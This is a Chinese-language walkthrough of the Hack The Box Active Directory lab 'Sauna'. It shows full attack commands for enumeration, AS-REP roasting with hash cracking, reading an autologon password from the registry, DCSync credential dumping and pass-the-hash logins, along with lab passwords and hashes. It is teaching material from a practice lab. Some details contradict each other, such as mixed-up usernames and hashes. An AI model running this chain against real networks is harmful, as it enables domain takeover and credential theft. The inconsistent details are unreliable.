0x00前言
本小白最近在学域渗透,决定把Hack The Box的Active Directory 101 系列域渗透靶机打完,并详细记录当中用到的工具、知识点及其背后的原理。本篇文章是该系列的第二篇,靶机名字为Sauna
0x01信息搜集
首先我们使用nmap来进行端口与服务的发现
Nmap scan report for 10.10.10.175
Host is up (0.14s latency).
Not shown: 65515 filtered ports
PORT STATE SERVICE VERSION
53/tcp open domain?
| fingerprint-strings:
| DNSVersionBindReqTCP:
| version
|_ bind
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Egotistical Bank :: Home
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2022-10-09 20:28:40Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49668/tcp open msrpc Microsoft Windows RPC
49673/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49674/tcp open msrpc Microsoft Windows RPC
49677/tcp open msrpc Microsoft Windows RPC
49689/tcp open msrpc Microsoft Windows RPC
49696/tcp open msrpc Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.80%I=7%D=10/9%Time=6342CC8D%P=x86_64-pc-linux-gnu%r(DNSV
SF:ersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\
SF:x04bind\0\0\x10\0\x03");
Service Info: Host: SAUNA; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 6h59m58s
| smb2-security-mode:
| 2.02:
|_ Message signing enabled and required
| smb2-time:
| date: 2022-10-09T20:31:10
|_ start_date: N/A
下一步的信息搜集思路大概有如下几点:
53尝试DNS区域传输
80端口风险传输方式trace
88 kerber枚举
135 rpc的枚举
389 ldap枚举
ldap枚举
root@kali2020:~/HTB/sauna# nmap --script "ldap*" -p 389 10.10.10.175
通过ldap的枚举,我们发现了一个人名,该人名可能是用户名
通过访问80端口的http页面,找到了如下姓名
Fergus Smith
Shaun Coins
Hugo Bear
Steven Kerb
Bowie Taylor
Sophie Driver
该nmap
脚本进行了一些基本枚举并返回了域EGOTISTICAL-BANK.LOCAL
我尝试使用更详细深入的ldap枚举
ldapsearch -x -h 10.10.10.175 -s base namingcontexts
-x- 简单的身份验证
-h 10.10.10.175- 主机查询
-s base- 将范围设置为基础
naming contexts- 返回命名上下文
通过ldap枚举,暂时也没发现什么特别有用的信息
DNS区域传输
尝试进行区域传输
dig axfr @10.10.10.175 egotistical-bank.local
dig axfr @10.10.10.175 sauna.htb
SMB枚举
发现不支持区域传输,接下来尝试SMB的Anonymous用户登录,发现并无什么可供查看的信息
kerbrute枚举
尝试通过kerbrute枚举用户名,现在,为了进一步枚举,我们需要知道该用户的确切用户名。结合前面信息搜集中得到的名字hugo smith并基于我知道的常用名称的用户名模式,写了一个字典user。
hugo.smith
hugosmith
hsmith
smith.hugo
h.smith
kerbrute_linux_amd64 userenum --dc 10.10.10.175 -d egotistical-bank.local user
通过kerbrute用户名枚举得到了用户名hsmith,那我们把之前发现的一些名字都改成类似的格式写入到users.txt进行尝试
fsmith
scoins
hbear
skerb
btaylor
sdriver
hsmith
域用户枚举
GetNPUsers.py -dc-ip 10.10.10.175 egotistical-bank.local/ -usersfile /root/username.txt
尽管我们做了尝试,但是还是只发现了这一个用户
0x02AS-REP Roasting
通过上图枚举的结果,我们发现hsmith无预认证,我们直接得到了其TGT票据,我们可以尝试AS-REP Roasting,破解该用户的hash
hashcat -m 18200 hashfsmith /root/rockyou.txt --force
此时我们拿到了fsmith用户的明文密码,接下来我们可以尝试evil-winrm远程登录
evil-winrm -u fsmith -p Thestrokes23 -i 10.10.10.175
0x03读注册表获取用户明文密码
在users目录下发现了另外一个用户,svc_loanmgr 我们尝试读注册表
*Evil-WinRM* PS C:\Users\FSmith\Documents> reg.exe query "HKLM\software\microsoft\windows nt\currentversion\winlogon"
HKEY_LOCAL_MACHINE\software\microsoft\windows nt\currentversion\winlogon
AutoRestartShell REG_DWORD 0x1
Background REG_SZ 0 0 0
CachedLogonsCount REG_SZ 10
DebugServerCommand REG_SZ no
DefaultDomainName REG_SZ EGOTISTICALBANK
DefaultUserName REG_SZ EGOTISTICALBANK\svc_loanmanager
...
...
DefaultPassword REG_SZ Moneymakestheworldgoround!
*Evil-WinRM* PS C:\Users\FSmith\Documents>
通过读取注册表,我们发现了svc_loanmanager用户的明文密码
0x04Bloodhound 信息搜集
尝试使用winrm登录
evil-winrm -u svc_loanmanager -p 'Moneymakestheworldgoround!' -i 10.10.10.175
接下来使用bloodhound进行信息搜集
*Evil-WinRM* PS C:\Users\svc_loanmanager\Documents> upload SharpHound.exe
*Evil-WinRM* PS C:\Users\svc_loanmanager\Documents> ./sharphound.exe
*Evil-WinRM* PS C:\Users\svc_loanmanager\Documents> download 20221010054109_BloodHound.zip
通过bloodhound给到的分析结果,我们发现svc_loanmanager用户可以通过DCsync攻击域控
0x05DCSync提权
我首选的 DCSync 攻击方式是使用secretsdump.py
,它允许我从我的 Kali 机器运行 DCSync 攻击,前提是我可以在 TCP 445 和 135 以及高 RPC 端口上与 DC 通信。这种方式的优点是避免了与杀软的对抗,尽管它会产生一些网络流量,可能被其他审计设备捕获。
secretsdump.py 'svc_loanmgr:Moneymakestheworldgoround!@10.10.10.175'
我可以使用 WMI 的管理员哈希来以管理员身份获取 shell:
wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e EGOTISTICAL-BANK.LOCAL/administrator@10.10.10.175
或我还可以用 PSExec获取 shell 作为 SYSTEM:
psexec.py -hashes 'aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e' -dc-ip 10.10.10.175 administrator@10.10.10.175
或者我还可以使用 EvilWinRM登录:
evil-winrm -i 10.10.10.175 -u administrator -H e19ccf75ee54e06b06a5907af13cef42
0x06总结
本篇文章到这里就结束了,这里做个简单的总结,首先通过对各个开放服务的枚举发现了hsmith用户,然后使用了AS-REP Roasting技术,由于该用户的密码是弱密码,我们通过使用hashcat破解了其hash拿到明文密码,然后又通过WinRM成功登陆到了用户hsmith。接着通过读取注册表,拿到了svc_loanmanager用户的明文密码,又通过WinRM成功登陆到了用户svc_loanmanager上面,接着使用了 BloodHound分析收集到的域内信息。经过分析后发现当前用户可以使用DCsync攻击域控,通过该攻击成功获取到了管理员的hash,最终通过wmiexec哈希传递拿到了管理员权限。